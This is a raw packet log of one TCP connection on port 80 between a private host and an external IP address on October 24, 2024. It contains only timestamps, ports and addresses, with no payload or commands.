Oct 24, 2024 13:27:09.712651014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712690115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712692022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712726116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712749004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712759018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712771893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712793112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712816000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712847948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712850094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712881088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712913990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712914944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712934017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712949991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712979078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712985039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713001013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713017941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713040113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713052988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713077068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713085890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713105917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713139057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713145971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713172913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713187933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713195086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713203907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713218927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713229895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713234901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713251114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713251114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713265896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713280916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713289976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713295937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713308096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713311911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713324070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713341951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713357925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713366032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713372946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713388920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713404894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713404894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713421106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713423967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713435888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713452101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713464975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713468075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713495970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713499069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713511944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713519096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713527918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713543892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713551998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713560104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713572025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713576078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713587999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713597059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713612080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713627100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713634014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713641882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713650942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713659048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713675022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713675022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713690996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713720083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713726044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713742018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713752031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713757038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713771105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713773966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713788033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713804960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713812113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713819981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713835001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713851929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713852882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713867903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713871956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713882923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713891029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713898897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713913918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713922977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713929892 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713944912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713959932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713962078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713975906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.713977098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.713992119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714008093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714021921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714025021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714040995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714056015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714057922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714068890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714075089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714085102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714099884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714114904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714117050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714132071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714143991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714155912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714159966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714174986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714174986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714190960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714195013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714206934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714221001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714236021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714236975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714251041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714266062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714273930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714282036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.714294910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714314938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.714354038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.759433985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.759485006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.759530067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.759618044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.759618044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.759618044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.817791939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.817837954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.817858934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.817877054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.817909002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.817945957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.817980051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.818015099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.818048000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.818067074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.818084955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.818144083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.818176985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.818355083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.818356037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.818356037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.818356037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.818356037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.818356037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.818356037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819453955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819524050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819561958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819595098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819629908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819654942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819654942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819654942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819654942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819685936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819736958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819736958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819745064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819781065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819808960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819817066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819829941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819852114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819870949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819906950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819911003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819938898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819963932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.819972992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.819988012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820008039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820027113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820058107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820061922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820097923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820120096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820130110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820138931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820164919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820183039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820200920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820215940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820238113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820250988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820271969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820283890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820305109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820322990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820338011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820363045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820373058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820386887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820405960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820426941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820440054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820449114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820472956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820492029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820507050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820528984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820557117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820560932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820595026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820615053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820631981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820651054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820664883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820681095 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820713997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820719957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820765972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820765972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820800066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820820093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820835114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820857048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820868015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820885897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820902109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820925951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820935965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820947886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.820970058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.820990086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821002007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821018934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821055889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821058989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821089983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821110010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821124077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821146965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821156025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821166039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821191072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821208954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821244001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821244955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821297884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821300030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821333885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821355104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821366072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821381092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821399927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821419001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821434021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821458101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821469069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821485996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821502924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821520090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821532011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821557999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821563959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821578979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821598053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821614027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821631908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821651936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821665049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821688890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821698904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821711063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821733952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821755886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821784019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821789026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821824074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821841955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821856976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821878910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821890116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821918964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821926117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821938038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821959972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.821983099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.821994066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822002888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822027922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822046995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822062016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822079897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822094917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822118044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822128057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822139978 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822161913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822180033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822196960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822222948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822230101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822242975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822263002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822280884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822295904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822316885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822326899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822340012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822361946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822377920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822395086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822416067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822431087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822444916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822463036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822479963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822496891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822511911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822530985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822549105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822563887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822581053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822596073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822616100 CEST	49730	80	192.168.2.4	109.107.157.208
